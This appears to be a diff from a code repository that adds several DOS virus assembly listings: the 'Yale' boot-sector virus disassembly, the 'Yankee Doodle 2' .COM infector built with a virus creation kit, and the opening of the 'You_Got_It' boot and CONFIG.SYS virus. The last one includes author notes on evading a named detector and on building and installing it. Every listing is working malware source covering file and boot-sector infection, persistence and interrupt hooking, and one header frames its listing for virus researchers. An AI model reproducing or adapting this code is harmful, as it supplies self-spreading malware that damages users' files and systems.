CMP AL,1DH ; Was key Ctrl?
JNE BP0060 ; Branch if not
MOV BL,AH ; Save Ctrl key state
JMP SHORT BP0080
BP0060: CMP AL,38H ; Was key Alt?
JNE BP0070 ; Branch if not
MOV BH,AH ; Save Alt key state
JMP SHORT BP0080
BP0070: CMP BX,0808H ; Are Ctrl & Alt depressed?
JNE BP0080 ; Branch if not
CMP AL,17H ; Is key I?
JE BP0100 ; Branch if yes
CMP AL,53H ; Is key Del?
JE BP0040 ; Branch if yes
BP0080: MOV KYSTAT[7C00H],BX ; Save Ctrl & Alt key states
BP0090: POP DS
POP BX
POP AX
POPF
DB 0EAH ; Far jump to original INT 9
INT_09 DW 0E987H, 0F000H
; Pass on Ctrl-Alt-I
BP0100: JMP BP0240 ; Ctrl-Alt-I
; Ctrl-Alt-Del depressed - main processing
BP0110: MOV DX,03D8H ; VDU mode control address
MOV AX,0800H ; Delay eight cycles
OUT DX,AL ; Disable display
CALL BP0250 ; Delay
MOV KYSTAT[7C00H],AX ; Reset Ctrl & Alt key states
MOV AL,3 ; Mode three
INT 10H ; VDU I/O
MOV AH,2 ; Set cursor address function
XOR DX,DX ; Row zero, column zero
MOV BH,DH ; Page zero
INT 10H ; VDU I/O
MOV AH,1 ; Set cursor size function
MOV CX,0607H ; Cursor lines 6 to 7
INT 10H ; VDU I/O
MOV AX,0420H ; Delay 4 cycles
CALL BP0250 ; Delay
CLI
OUT 20H,AL ; End of interrupt
MOV ES,CX ; Address segment zero
MOV DI,CX ; Address offset zero
MOV SI,7B80H ; Address interrupt save area
MOV CX,0080H ; 128 bytes to move
CLD
REPZ MOVSB ; Restore first 32 interrupt pointers
MOV DS,CX ; Address zero
MOV BW0064,OFFSET BP0130+7C00H ; Install Int 19H offset
MOV BW0066,CS ; Install Int 19H segment
ASSUME DS:RAM
MOV AX,0040H ; \ Address RAM area
MOV DS,AX ; /
MOV BB0417,AH ; Set key toggles off
INC BW0413 ; Restore RAM size
PUSH DS
ASSUME DS:BOOT
MOV AX,0F000H ; \ Address BIOS
MOV DS,AX ; /
CMP DWE502,21E4H ; Is BIOS instruction IN AL,21H?
POP DS
JE BP0120 ; Branch if yes
INT 19H ; Disk bootstrap
BP0120: DB 0EAH ; Far jump to BIOS routine
DW 0E502H, 0F000H
; Interrupt 19H routine
ASSUME DS:BOOT
BP0130: XOR AX,AX ; \ Set DS to zero
MOV DS,AX ; /
MOV AX,DW0410 ; Get system configuration
TEST AL,1 ; Is there a floppy disk
JNZ BP0150 ; Branch if yes
BP0140: PUSH CS ; \ Set ES to CS
POP ES ; /
CALL BP0030 ; Install interrupt 9 routine
INT 18H ; Basica (IBM only)
BP0150: MOV CX,4 ; Retry four times
BP0160: PUSH CX ; Save retry count
MOV AH,0 ; Reset disk sub-system
INT 13H ; Disk I/O
JB BP0170 ; Branch if error
MOV AX,0201H ; Read one sector
PUSH DS ; \ Set ES to DS
POP ES ; /
MOV BX,7C00H ; Boot sector buffer
MOV CX,1 ; Track zero, sector one
INT 13H ; Disk I/O
BP0170: POP CX ; Retrieve retry count
JNB BP0180 ; Branch if no error
LOOP BP0160 ; Retry
JMP BP0140
BP0180: CMP DI,3456H ; Simulated system reset?
JNE BP0200 ; Branch if not
BP0190: DB 0EAH ; Far jump to boot sector area
DW 7C00H, 0
BP0200: MOV SI,7C00H ; Boot sector area
MOV CX,OFFSET INT_09 ; Length to compare
MOV DI,SI ; Virus offset
PUSH CS ; \ Set ES to CS
POP ES ; /
CLD
REPZ CMPSB ; Is boot sector infected?
JE BP0220 ; Branch if yes
INC ES:GENNUM[7C00H] ; Increment generation number
MOV BX,7C7AH ; Address format table
MOV DX,0 ; Head zero, drive zero
MOV CH,27H ; Track 39
MOV AH,5 ; Format track
JMP SHORT BP0210 ; This line was probably an INT 13H
JB BP0230 ; Error branch for deleted INT 13H
BP0210: MOV ES,DX ; \ Write from boot sector area
MOV BX,7C00H ; /
MOV CL,8 ; Sector eight
MOV AX,0301H ; Write one sector
INT 13H ; Disk I/O
PUSH CS ; \ Set ES to CS
POP ES ; /
JB BP0230 ; Branch if error
MOV CX,1 ; Track zero, sector one
MOV AX,0301H ; Write one sector
INT 13H ; Disk I/O
JB BP0230 ; Branch if error
BP0220: MOV DI,3456H ; Signal simulated system reset
INT 19H ; Disk bootstrap
BP0230: CALL BP0030 ; Install interrupt 9 routine
DEC ES:GENNUM[7C00H] ; Decrement generation number
JMP BP0190
; Ctrl-Alt-I
ASSUME DS:CODE
BP0240: MOV KYSTAT[7C00H],BX ; Save Ctrl & Alt key states
MOV AX,GENNUM[7C00H] ; Get generation number
ASSUME DS:RAM
MOV BX,0040H ; \ Address RAM area
MOV DS,BX ; /
MOV BW0472,AX ; Generation to system reset word
JMP BP0090 ; Pass on to original interrupt
; Delay
BP0250: SUB CX,CX ; Maximum count
BP0260: LOOP BP0260 ; Delay loop
SUB AH,1 ; Decrement count
JNZ BP0260 ; Repeat loop
RET
DB 027H, 000H, 008H, 002H ; Last sector of format table
GENNUM DW 016H ; Generation number
KYSTAT DW 0 ; Ctrl & Alt key states
DB 027H, 000H, 008H, 002H ; Last sector of format table
CODE ENDS
END START


View File

@ -0,0 +1,341 @@
page 65,132
title The 'Yale' Virus
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
; º British Computer Virus Research Centre º
; º 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England º
; º Telephone: Domestic 0273-26105, International +44-273-26105 º
; º º
; º The 'Yale' Virus º
; º Disassembled by Joe Hirst, April 1989 º
; º º
; º Copyright (c) Joe Hirst 1989. º
; º º
; º This listing is only to be made available to virus researchers º
; º or software writers on a need-to-know basis. º
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
; The virus consists of a boot sector only on a floppy disk.
; The original boot sector is kept at track thirty-nine, head zero,
; sector eight.
; The disassembly has been tested by re-assembly using MASM 5.0
; Note that this does not create an identical program, as the original
; appears to have been assembled with A86
; MASM would not assemble the instruction at offset 003CH (7C3CH)
; This instruction is undefined on an 8088/8086, and illegal
; on a 80286/80386.
; The program requires an origin address of 7C00H for the first sector
; to load and run as a boot sector
; System variables are defined in either RAM or BOOT (or both)
; depending on the segment used by the program
RAM SEGMENT AT 400H
; System RAM fields
ORG 13H
BW0413 DW ? ; Total RAM size
ORG 17H
BB0417 DB ? ; Key toggles
ORG 72H
BW0472 DW ? ; System reset word
RAM ENDS
BOOT SEGMENT AT 0
; Interrupt addresses
ORG 24H
BW0024 DW ? ; Interrupt 9 offset
BW0026 DW ? ; Interrupt 9 segment
ORG 64H
BW0064 DW ? ; Interrupt 19H offset
BW0066 DW ? ; Interrupt 19H segment
; System RAM fields
ORG 410H
DW0410 DW ? ; System configuration
ORG 413H
DW0413 DW ? ; Total RAM size
; BIOS field
ORG 0E502H
DWE502 DW ?
BOOT ENDS
CODE SEGMENT BYTE PUBLIC 'CODE'
ASSUME CS:CODE,DS:NOTHING
START: CLI
XOR AX,AX ; \ Set SS to zero
MOV SS,AX ; /
MOV SP,7C00H ; Set stack before boot area
STI
ASSUME DS:RAM
MOV BX,0040H ; \ Address RAM area
MOV DS,BX ; /
MOV AX,BW0413 ; Get size of RAM
MUL BX ; Convert to paragraphs
SUB AX,07E0H ; Subtract address after boot area
MOV ES,AX ; Target segment
ASSUME DS:CODE
PUSH CS ; \ Set DS to CS
POP DS ; /
CMP DI,3456H ; Simulated system reset?
JNE BP0010 ; Branch if not
DEC GENNUM[7C00H] ; Decrement generation number
BP0010: MOV SI,SP ; \ Address boot sector area
MOV DI,SI ; /
MOV CX,0200H ; 512 bytes to move
CLD
REPZ MOVSB ; Copy virus to high core
MOV SI,CX ; Address offset zero
MOV DI,7B80H ; Address interrupt save area
MOV CX,0080H ; 128 bytes to move
REPZ MOVSB ; Save first 32 interrupt pointers
CALL BP0030 ; Install interrupt 9 routine
PUSH ES ; \ Transfer to high core
; POP CS ; /
DB 0FH ; This is the previous instruction
PUSH DS ; \ Set ES to DS
POP ES ; /
MOV BX,SP ; Address boot sector area
MOV DX,CX ; A-drive, head zero
MOV CX,2708H ; Track 39, sector 8
MOV AX,0201H ; Read one sector
INT 13H ; Disk I/O
BP0020: JB BP0020 ; Loop on error
JMP BP0190
; Install interrupt 9 routine
BP0030: DEC DW0413 ; Decrement RAM size
MOV SI,OFFSET BW0024 ; Address INT 9 pointer
MOV DI,OFFSET INT_09+7C00H ; Target far jump
MOV CX,4 ; 4 bytes to copy
CLI
REPZ MOVSB ; Copy far address
MOV BW0024,OFFSET BP0050+7C00H ; Install new offset
MOV BW0026,ES ; Install new segment
STI
RET
; Ctrl-Alt-Del depressed - acknowledge keyboard signal
BP0040: IN AL,61H ; Get port B
MOV AH,AL ; Save current state
OR AL,80H ; Turn top bit on
OUT 61H,AL ; Set port B
XCHG AL,AH ; Get original state
OUT 61H,AL ; Reset port B
JMP SHORT BP0110
; Format table for track 39, head zero, 8 sectors (unused)
DB 027H, 000H, 001H, 002H
DB 027H, 000H, 002H, 002H
DB 027H, 000H, 003H, 002H
DB 027H, 000H, 004H, 002H
DB 027H, 000H, 005H, 002H
DB 027H, 000H, 006H, 002H
DB 027H, 000H, 007H, 002H
DB 027H, 000H, 008H, 002H
; Rubbish
DB 024H, 000H, 0ADH, 07CH, 0A3H, 026H, 000H, 059H
DB 05FH, 05EH, 007H, 01FH, 058H, 09DH, 0EAH, 011H
DB 011H, 011H, 011H
; Interrupt 9 routine
BP0050: PUSHF
STI
PUSH AX
PUSH BX
PUSH DS
PUSH CS ; \ Set DS to CS
POP DS ; /
ASSUME DS:CODE
MOV BX,KYSTAT[7C00H] ; Get Ctrl & Alt key states
IN AL,60H ; Get keyboard token
MOV AH,AL ; Save keyboard token
AND AX,887FH
CMP AL,1DH ; Was key Ctrl?
JNE BP0060 ; Branch if not
MOV BL,AH ; Save Ctrl key state
JMP SHORT BP0080
BP0060: CMP AL,38H ; Was key Alt?
JNE BP0070 ; Branch if not
MOV BH,AH ; Save Alt key state
JMP SHORT BP0080
BP0070: CMP BX,0808H ; Are Ctrl & Alt depressed?
JNE BP0080 ; Branch if not
CMP AL,17H ; Is key I?
JE BP0100 ; Branch if yes
CMP AL,53H ; Is key Del?
JE BP0040 ; Branch if yes
BP0080: MOV KYSTAT[7C00H],BX ; Save Ctrl & Alt key states
BP0090: POP DS
POP BX
POP AX
POPF
DB 0EAH ; Far jump to original INT 9
INT_09 DW 0E987H, 0F000H
; Pass on Ctrl-Alt-I
BP0100: JMP BP0240 ; Ctrl-Alt-I
; Ctrl-Alt-Del depressed - main processing
BP0110: MOV DX,03D8H ; VDU mode control address
MOV AX,0800H ; Delay eight cycles
OUT DX,AL ; Disable display
CALL BP0250 ; Delay
MOV KYSTAT[7C00H],AX ; Reset Ctrl & Alt key states
MOV AL,3 ; Mode three
INT 10H ; VDU I/O
MOV AH,2 ; Set cursor address function
XOR DX,DX ; Row zero, column zero
MOV BH,DH ; Page zero
INT 10H ; VDU I/O
MOV AH,1 ; Set cursor size function
MOV CX,0607H ; Cursor lines 6 to 7
INT 10H ; VDU I/O
MOV AX,0420H ; Delay 4 cycles
CALL BP0250 ; Delay
CLI
OUT 20H,AL ; End of interrupt
MOV ES,CX ; Address segment zero
MOV DI,CX ; Address offset zero
MOV SI,7B80H ; Address interrupt save area
MOV CX,0080H ; 128 bytes to move
CLD
REPZ MOVSB ; Restore first 32 interrupt pointers
MOV DS,CX ; Address zero
MOV BW0064,OFFSET BP0130+7C00H ; Install Int 19H offset
MOV BW0066,CS ; Install Int 19H segment
ASSUME DS:RAM
MOV AX,0040H ; \ Address RAM area
MOV DS,AX ; /
MOV BB0417,AH ; Set key toggles off
INC BW0413 ; Restore RAM size
PUSH DS
ASSUME DS:BOOT
MOV AX,0F000H ; \ Address BIOS
MOV DS,AX ; /
CMP DWE502,21E4H ; Is BIOS instruction IN AL,21H?
POP DS
JE BP0120 ; Branch if yes
INT 19H ; Disk bootstrap
BP0120: DB 0EAH ; Far jump to BIOS routine
DW 0E502H, 0F000H
; Interrupt 19H routine
ASSUME DS:BOOT
BP0130: XOR AX,AX ; \ Set DS to zero
MOV DS,AX ; /
MOV AX,DW0410 ; Get system configuration
TEST AL,1 ; Is there a floppy disk
JNZ BP0150 ; Branch if yes
BP0140: PUSH CS ; \ Set ES to CS
POP ES ; /
CALL BP0030 ; Install interrupt 9 routine
INT 18H ; Basica (IBM only)
BP0150: MOV CX,4 ; Retry four times
BP0160: PUSH CX ; Save retry count
MOV AH,0 ; Reset disk sub-system
INT 13H ; Disk I/O
JB BP0170 ; Branch if error
MOV AX,0201H ; Read one sector
PUSH DS ; \ Set ES to DS
POP ES ; /
MOV BX,7C00H ; Boot sector buffer
MOV CX,1 ; Track zero, sector one
INT 13H ; Disk I/O
BP0170: POP CX ; Retrieve retry count
JNB BP0180 ; Branch if no error
LOOP BP0160 ; Retry
JMP BP0140
BP0180: CMP DI,3456H ; Simulated system reset?
JNE BP0200 ; Branch if not
BP0190: DB 0EAH ; Far jump to boot sector area
DW 7C00H, 0
BP0200: MOV SI,7C00H ; Boot sector area
MOV CX,OFFSET INT_09 ; Length to compare
MOV DI,SI ; Virus offset
PUSH CS ; \ Set ES to CS
POP ES ; /
CLD
REPZ CMPSB ; Is boot sector infected?
JE BP0220 ; Branch if yes
INC ES:GENNUM[7C00H] ; Increment generation number
MOV BX,7C7AH ; Address format table
MOV DX,0 ; Head zero, drive zero
MOV CH,27H ; Track 39
MOV AH,5 ; Format track
JMP SHORT BP0210 ; This line was probably an INT 13H
JB BP0230 ; Error branch for deleted INT 13H
BP0210: MOV ES,DX ; \ Write from boot sector area
MOV BX,7C00H ; /
MOV CL,8 ; Sector eight
MOV AX,0301H ; Write one sector
INT 13H ; Disk I/O
PUSH CS ; \ Set ES to CS
POP ES ; /
JB BP0230 ; Branch if error
MOV CX,1 ; Track zero, sector one
MOV AX,0301H ; Write one sector
INT 13H ; Disk I/O
JB BP0230 ; Branch if error
BP0220: MOV DI,3456H ; Signal simulated system reset
INT 19H ; Disk bootstrap
BP0230: CALL BP0030 ; Install interrupt 9 routine
DEC ES:GENNUM[7C00H] ; Decrement generation number
JMP BP0190
; Ctrl-Alt-I
ASSUME DS:CODE
BP0240: MOV KYSTAT[7C00H],BX ; Save Ctrl & Alt key states
MOV AX,GENNUM[7C00H] ; Get generation number
ASSUME DS:RAM
MOV BX,0040H ; \ Address RAM area
MOV DS,BX ; /
MOV BW0472,AX ; Generation to system reset word
JMP BP0090 ; Pass on to original interrupt
; Delay
BP0250: SUB CX,CX ; Maximum count
BP0260: LOOP BP0260 ; Delay loop
SUB AH,1 ; Decrement count
JNZ BP0260 ; Repeat loop
RET
DB 027H, 000H, 008H, 002H ; Last sector of format table
GENNUM DW 016H ; Generation number
KYSTAT DW 0 ; Ctrl & Alt key states
DB 027H, 000H, 008H, 002H ; Last sector of format table
CODE ENDS
END START

View File

@ -0,0 +1,342 @@
; YANKEE2.ASM -- Yankee Doodle ][
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by Nowhere Man
virus_type equ 0 ; Appending Virus
is_encrypted equ 0 ; We're not encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
main proc near
db 0E9h,00h,00h ; Near jump (for compatibility)
start: call find_offset ; Like a PUSH IP
find_offset: pop bp ; BP holds old IP
sub bp,offset find_offset ; Adjust for length of host
lea si,[bp + buffer] ; SI points to original start
mov di,0100h ; Push 0100h on to stack for
push di ; return to main program
movsw ; Copy the first two bytes
movsb ; Copy the third byte
mov di,bp ; DI points to start of virus
mov bp,sp ; BP points to stack
sub sp,128 ; Allocate 128 bytes on stack
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer on stack
int 021h
call search_files ; Find and infect a file
call search_files ; Find and infect another file
call get_hour
cmp ax,0011h ; Did the function return 17?
jle skip00 ; If less that or equal, skip effect
cmp ax,0013h ; Did the function return 19?
jge skip00 ; If greater than or equal, skip effect
jmp short strt00 ; Success -- skip jump
skip00: jmp end00 ; Skip the routine
strt00: lea si,[di + data00] ; SI points to data
get_note: mov bx,[si] ; Load BX with the frequency
or bx,bx ; Is BX equal to zero?
je play_tune_done ; If it is we are finished
mov ax,034DDh ;
mov dx,0012h ;
cmp dx,bx ;
jnb new_note ;
div bx ; This bit here was stolen
mov bx,ax ; from the Turbo C++ v1.0
in al,061h ; library file CS.LIB. I
test al,3 ; extracted sound() from the
jne skip_an_or ; library and linked it to
or al,3 ; an .EXE file, then diassembled
out 061h,al ; it. Basically this turns
mov al,0B6h ; on the speaker at a certain
out 043h,al ; frequency.
skip_an_or: mov al,bl ;
out 042h,al ;
mov al,bh ;
out 042h,al ;
mov bx,[si + 2] ; BX holds duration value
xor ah,ah ; BIOS get time function
int 1Ah
add bx,dx ; Add the time to the length
wait_loop: int 1Ah ; Get the time again (AH = 0)
cmp dx,bx ; Is the delay over?
jne wait_loop ; Repeat until it is
in al,061h ; Stolen from the nosound()
and al,0FCh ; procedure in Turbo C++ v1.0.
out 061h,al ; This turns off the speaker.
new_note: add si,4 ; SI points to next note
jmp short get_note ; Repeat with the next note
play_tune_done:
end00:
com_end: pop dx ; DX holds original DTA address
mov ah,01Ah ; DOS set DTA function
int 021h
mov sp,bp ; Deallocate local buffer
xor ax,ax ;
mov bx,ax ;
mov cx,ax ;
mov dx,ax ; Empty out the registers
mov si,ax ;
mov di,ax ;
mov bp,ax ;
ret ; Return to original program
main endp
search_files proc near
mov bx,di ; BX points to the virus
push bp ; Save BP
mov bp,sp ; BP points to local buffer
sub sp,135 ; Allocate 135 bytes on stack
mov byte ptr [bp - 135],'\' ; Start with a backslash
mov ah,047h ; DOS get current dir function
xor dl,dl ; DL holds drive # (current)
lea si,[bp - 134] ; SI points to 64-byte buffer
int 021h
call traverse_path ; Start the traversal
traversal_loop: cmp word ptr [bx + path_ad],0 ; Was the search unsuccessful?
je done_searching ; If so then we're done
call found_subdir ; Otherwise copy the subdirectory
mov ax,cs ; AX holds the code segment
mov ds,ax ; Set the data and extra
mov es,ax ; segments to the code segment
xor al,al ; Zero AL
stosb ; NULL-terminate the directory
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 70] ; DX points to the directory
int 021h
lea dx,[bx + com_mask] ; DX points to "*.COM"
push di
mov di,bx
call find_files ; Try to infect a .COM file
mov bx,di
pop di
jnc done_searching ; If successful the exit
jmp short traversal_loop ; Keep checking the PATH
done_searching: mov ah,03Bh ; DOS change directory function
lea dx,[bp - 135] ; DX points to old directory
int 021h
cmp word ptr [bx + path_ad],0 ; Did we run out of directories?
jne at_least_tried ; If not then exit
stc ; Set the carry flag for failure
at_least_tried: mov sp,bp ; Restore old stack pointer
pop bp ; Restore BP
ret ; Return to caller
com_mask db "*.COM",0 ; Mask for all .COM files
search_files endp
traverse_path proc near
mov es,word ptr cs:[002Ch] ; ES holds the enviroment segment
xor di,di ; DI holds the starting offset
find_path: lea si,[bx + path_string] ; SI points to "PATH="
lodsb ; Load the "P" into AL
mov cx,08000h ; Check the first 32767 bytes
repne scasb ; Search until the byte is found
mov cx,4 ; Check the next four bytes
check_next_4: lodsb ; Load the next letter of "PATH="
scasb ; Compare it to the environment
jne find_path ; If there not equal try again
loop check_next_4 ; Otherwise keep checking
mov word ptr [bx + path_ad],di ; Save the PATH address
mov word ptr [bx + path_ad + 2],es ; Save the PATH's segment
ret ; Return to caller
path_string db "PATH=" ; The PATH string to search for
path_ad dd ? ; Holds the PATH's address
traverse_path endp
found_subdir proc near
lds si,dword ptr [bx + path_ad] ; DS:SI points to PATH
lea di,[bp - 70] ; DI points to the work buffer
push cs ; Transfer CS into ES for
pop es ; byte transfer
move_subdir: lodsb ; Load the next byte into AL
cmp al,';' ; Have we reached a separator?
je moved_one ; If so we're done copying
or al,al ; Are we finished with the PATH?
je moved_last_one ; If so get out of here
stosb ; Store the byte at ES:DI
jmp short move_subdir ; Keep transfering characters
moved_last_one: xor si,si ; Zero SI to signal completion
moved_one: mov word ptr es:[bx + path_ad],si ; Store SI in the path address
ret ; Return to caller
found_subdir endp
find_files proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
push dx ; Save file mask
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
pop dx ; Restore file mask
find_a_file: int 021h
jc done_finding ; Exit if no files found
call infect_file ; Infect the file!
jnc done_finding ; Exit if no error
mov ah,04Fh ; DOS find next file function
jmp short find_a_file ; Try finding another file
done_finding: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
find_files endp
infect_file proc near
mov ah,02Fh ; DOS get DTA address function
int 021h
mov si,bx ; SI points to the DTA
mov byte ptr [di + set_carry],0 ; Assume we'll fail
cmp word ptr [si + 01Ah],(65279 - (finish - start))
jbe size_ok ; If it's small enough continue
jmp infection_done ; Otherwise exit
size_ok: mov ax,03D00h ; DOS open file function, r/o
lea dx,[si + 01Eh] ; DX points to file name
int 021h
xchg bx,ax ; BX holds file handle
mov ah,03Fh ; DOS read from file function
mov cx,3 ; CX holds bytes to read (3)
lea dx,[di + buffer] ; DX points to buffer
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
xchg dx,ax ; Faster than a PUSH AX
mov ah,03Eh ; DOS close file function
int 021h
xchg dx,ax ; Faster than a POP AX
sub ax,finish - start + 3 ; Adjust AX for a valid jump
cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet?
je infection_done ; If equal then exit
mov byte ptr [di + set_carry],1 ; Success -- the file is OK
add ax,finish - start ; Re-adjust to make the jump
mov word ptr [di + new_jump + 1],ax ; Construct jump
mov ax,04301h ; DOS set file attrib. function
xor cx,cx ; Clear all attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
mov ax,03D02h ; DOS open file function, r/w
int 021h
xchg bx,ax ; BX holds file handle
mov ah,040h ; DOS write to file function
mov cx,3 ; CX holds bytes to write (3)
lea dx,[di + new_jump] ; DX points to the jump we made
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
mov ah,040h ; DOS write to file function
mov cx,finish - start ; CX holds virus length
lea dx,[di + start] ; DX points to start of virus
int 021h
mov ax,05701h ; DOS set file time function
mov cx,[si + 016h] ; CX holds old file time
mov dx,[si + 018h] ; DX holds old file date
int 021h
mov ah,03Eh ; DOS close file function
int 021h
mov ax,04301h ; DOS set file attrib. function
xor ch,ch ; Clear CH for file attribute
mov cl,[si + 015h] ; CX holds file's old attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed
ret ; Return to caller
set_carry db ? ; Set-carry-on-exit flag
buffer db 090h,0CDh,020h ; Buffer to hold old three bytes
new_jump db 0E9h,?,? ; New jump to virus
infect_file endp
get_hour proc near
mov ah,02Ch ; DOS get time function
int 021h
mov al,ch ; Copy hour into AL
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_hour endp
data00 dw 262,6,262,6,293,6,329,6,262,6,329,6,293,6,196,6
dw 262,6,262,6,293,6,329,6,262,12,262,12
dw 262,6,262,6,293,6,329,6,349,6,329,6,293,6,262,6
dw 246,6,196,6,220,6,246,6,262,12,262,12
dw 220,6,246,6,220,6,174,6,220,6,246,6,262,6,220,6
dw 196,6,220,6,196,6,174,6,164,6,174,6,196,7
dw 220,6,246,6,220,6,174,6,220,6,246,6,262,6,220,7
dw 196,6,262,6,246,6,293,6,262,12,262,12
dw 0
vcl_marker db "[VCL]",0 ; VCL creation marker
note db "[Yankee Doodle 2]",0
db "Nowhere Man, [NuKE] '92",0
finish label near
code ends
end main

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,335 @@
comment *
Designed by "Q" the Misanthrope
The "You_Got_It" virus needed to be made. Windows 95 has neglected the
floppy boot sector virus long enough. Windows 95 in it's 32 bit protected
mode has it's own floppy disk routines and doesn't use int 13 or int 40
anymore. When a floppy boot sector viruses infectes the hard disk of the
Windows 95 computer, it would flag a change in the MBR or DBR indicating
a possible virus attack (not good). The conclusion, don't hook int 13, hook
int 21. Problem is, when Windows 95 starts up, it starts in DOS mode then
changes to it's protected mode DOS so int 21 hooked in DOS mode isn't hooked
anymore. Many of the multipatrite virii will not infect once Windows 95
starts. If your boot sector virus can infect a program called in your
AUTOEXEC.BAT or your CONFIG.SYS then the virus would go resident. The
"You_Got_it" virus does this. It creates a randomly named file and adds
INSTALLH=\AKYTHSQW (name is random) to the CONFIG.SYS file. Now when
Windows 95's int 21 is called to change the default drive to A: then the
infection occures. Cool features: during boot up the virus moves into video
memory then into the High Memory Area (HMA) when dos loads high. The virus
tunnels int 21 and loads in the HMA with dos. Also the boot sector infection
will not attack the CONFIG.SYS multiple times.
P.S. This virus will not be detected by Thunderbytes TBRESCUE Boot sector
detector or CMOS virus protection.
tasm yougotit /m2
tlink yougotit
exe2bin yougotit.exe yougotit.com
format a:/q/u
debug yougotit.com
l 300 0 0 1
w 100 0 0 1
w 300 0 20 1
m 13e,2ff 100
rcx
1c2
w
q
copy yougotit.com c:\
edit c:\config.sys
device=\yougotit.com
altf
x
y
*
.286
qseg segment byte public 'CODE'
assume cs:qseg,es:qseg,ss:nothing,ds:qseg
top: jmp short jmp_install ;boot sector data
db 90h
db 'MSDOS5.0'
dw 512
db 1
dw 1
db 2
dw 224
dw 2880
db 0F0h
dw 9
dw 18
dw 2
org 003eh
com_install proc near
jmp short go_mem_res
com_install endp
jmp_install proc near ;floppy boot up
push cs ;for the retf to 0000:7c00
id equ $+01h
mov si,7c00h ;7c00 is the infection marker
lea bx,word ptr ds:[si] ;bx=7c00
push bx ;for the retf to 0000:7c00
cld
push cs
mov es,bx ;if monochrome copy code to
pop ds ;7c00:7c00
cmp word ptr ds:[0449h],07h ;check if monochrome
je monochrome
push 0b700h ;lets reside in video memory
pop es ;no need for that TOM
cmp word ptr es:[si+id-top],si
monochrome: push es ;check if already mem resident
mov di,si ;di=7c00
mov cx,offset previous_hook ;copy loop varable
push cx ;save it because we will copy
push si ;the code twice to b700:7c00
rep movsb ;and b700:7dfe
pop si
pop cx
call return_far ;goto b700 segment of code
rep movsb ;continue copy to b700:7dfe
mov si,1ah*04h ;only hook int 1a
je already_res ;if already resident don't
movsw ;hook again
movsw
mov word ptr ds:[si-04h],offset interrupt_1a+7e00h-02h
mov word ptr ds:[si-02h],cs ;hook int 1a
already_res: push ds ;read moved floppy boot sector
pop es
mov ax,0201h
jmp_install endp
set_cx_dx proc near
mov bp,word ptr ds:[bx+11h] ;code to point to last sector
mov cx,word ptr ds:[bx+16h] ;of the root directory of any
shr bp,04h ;floppy disk
shl cx,01h
add cx,bp
inc cx
mov dh,01h
sub cx,word ptr ds:[bx+18h]
int 13h ;read or write boot sector
return_far: retf ;return to 7c00:0000 or
set_cx_dx endp ;resident_21 routine
config_line db "C:\CONFIG.SYS",00 ;file to infect
install_name db "INSTALL=" ;what to add
file_name db "\" ;random file name goes here
db 00h
crlf equ $+07h
go_mem_res proc near ;CONFIG.SYS residency
mov ax,3501h ;get int 1 address for tunnel
int 21h
mov dx,offset interrupt_1-com_install+100h
mov ah,25h ;set int 1 for tunnel
push es
int 21h
pop ds ;ds:dx will be to set it back
push 00h ;es=0000h
pop es
pushf ;simulate interrupt stack
lea dx,word ptr ds:[bx]
push cs
push es ;return to cs:0000 is cd 20
int 01h ;set trap flag
db 26h ;es: override in to int table
dw 02effh,21h*04h ;jmp far ptr es:[0084]
go_mem_res endp
interrupt_1 proc near ;set trap flag, trace int 21
pusha ;save varables
push sp
pop bp ;get pointer
push ds
push es
lds si,dword ptr ss:[bp+10h];get next instruction address
cmp word ptr ds:[si+01h],02effh
jne go_back ;check if jmp far ?s:[????]
cmp word ptr ds:[si-02h],001cdh
org $-02h ;see if called from my int 01
int 01h
je toggle_tf
mov si,word ptr ds:[si+03h] ;get address segment of jmp
cmp byte ptr ds:[si+03h],0f0h
jb go_back ;see if in HMA area
mov bx,((tail-com_install+10h)SHR 4)*10h
mov di,0ffffh ;allocate HMA area for virus
mov ax,4a02h
int 2fh
inc di ;is HMA full
jz toggle_tf ;if so then just don't bother
push si ;move the virus to the HMA
cld
mov cx,previous_hook-com_install
mov si,0100h ;copy virus to HMA
rep movs byte ptr es:[di],cs:[si]
pop si ;now hook the int 21 chain
movsw
movsw
lea di,word ptr ds:[di-(offset vbuffer-resident_21)]
mov word ptr ds:[si-04h],di ;point to resident 21 code
mov word ptr ds:[si-02h],es
toggle_tf: xor byte ptr ss:[bp+15h],01h;toggle the trap flag
go_back: pop es
pop ds
popa
iret
interrupt_1 endp
